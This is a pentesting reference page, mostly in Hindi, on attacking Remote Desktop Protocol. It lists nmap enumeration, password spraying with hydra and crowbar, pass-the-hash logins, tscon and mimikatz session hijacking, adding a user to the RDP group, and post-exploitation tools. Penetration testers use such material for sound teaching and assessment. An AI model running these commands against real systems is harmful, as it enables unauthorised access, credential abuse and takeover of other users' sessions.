3389 - Pentesting RDP

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

Microsoft द्वारा विकसित, Remote Desktop Protocol (RDP) एक ग्राफिकल इंटरफेस कनेक्शन को नेटवर्क के माध्यम से कंप्यूटरों के बीच सक्षम करने के लिए डिज़ाइन किया गया है। ऐसे कनेक्शन को स्थापित करने के लिए, उपयोगकर्ता द्वारा RDP क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को RDP सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeration

Automatic

bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

यह उपलब्ध एन्क्रिप्शन और DoS कमजोरियों की जांच करता है (सेवा को DoS का कारण बने बिना) और NTLM Windows जानकारी (संस्करण) प्राप्त करता है।

Brute force

सावधान रहें, आप खातों को लॉक कर सकते हैं

Password Spraying

सावधान रहें, आप खातों को लॉक कर सकते हैं

bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

ज्ञात क्रेडेंशियल्स/हैश के साथ कनेक्ट करें

bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

RDP सेवाओं के खिलाफ ज्ञात क्रेडेंशियल्स की जांच करें

impacket से rdp_check.py आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:

bash
rdp_check <domain>/<name>:<password>@<IP>

हमले

सत्र चोरी

SYSTEM अनुमतियों के साथ, आप किसी भी उपयोगकर्ता द्वारा खोले गए RDP सत्र तक पहुँच सकते हैं बिना मालिक के पासवर्ड को जाने।

खुले सत्र प्राप्त करें:

query user

चुनी गई सत्र तक पहुँच

bash
tscon <ID> /dest:<SESSIONNAME>

अब आप चयनित RDP सत्र के अंदर होंगे और आपको केवल Windows उपकरणों और सुविधाओं का उपयोग करके एक उपयोगकर्ता का अनुकरण करना होगा।

महत्वपूर्ण: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।

आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)

Mimikatz

आप इसे करने के लिए mimikatz का भी उपयोग कर सकते हैं:

bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

इस तकनीक को stickykeys या utilman के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।

आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

यदि किसी अन्य डोमेन से कोई व्यक्ति या बेहतर विशेषाधिकार के साथ RDP के माध्यम से उस PC में लॉगिन करता है जहाँ आप एक Admin हैं, तो आप उसके RDP सत्र प्रक्रिया में अपना बीकन इंजेक्ट कर सकते हैं और उसके रूप में कार्य कर सकते हैं:

RDP Sessions Abuse

Adding User to RDP group

bash
net localgroup "Remote Desktop Users" UserLoginName /add

Automatic Tools

AutoRDPwn एक पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो पॉवरशेल में बनाया गया है, जिसे मुख्य रूप से Microsoft Windows कंप्यूटर पर Shadow हमले को स्वचालित करने के लिए डिज़ाइन किया गया है। यह भेद्यता (जिसे Microsoft द्वारा एक विशेषता के रूप में सूचीबद्ध किया गया है) एक दूरस्थ हमलावर को बिना उसकी सहमति के अपने शिकार के डेस्कटॉप को देखने की अनुमति देती है, और यहां तक कि इसे मांग पर नियंत्रित करने की भी, ऑपरेटिंग सिस्टम के अपने मूल उपकरणों का उपयोग करके।

  • EvilRDP
  • कमांड लाइन से स्वचालित तरीके से माउस और कीबोर्ड को नियंत्रित करें
  • कमांड लाइन से स्वचालित तरीके से क्लिपबोर्ड को नियंत्रित करें
  • क्लाइंट से एक SOCKS प्रॉक्सी उत्पन्न करें जो RDP के माध्यम से लक्षित नेटवर्क संचार को चैनल करता है
  • लक्षित पर फ़ाइलें अपलोड किए बिना मनचाहे SHELL और PowerShell कमांड निष्पादित करें
  • लक्षित पर फ़ाइल ट्रांसफर बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें

HackTricks Automatic Commands

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें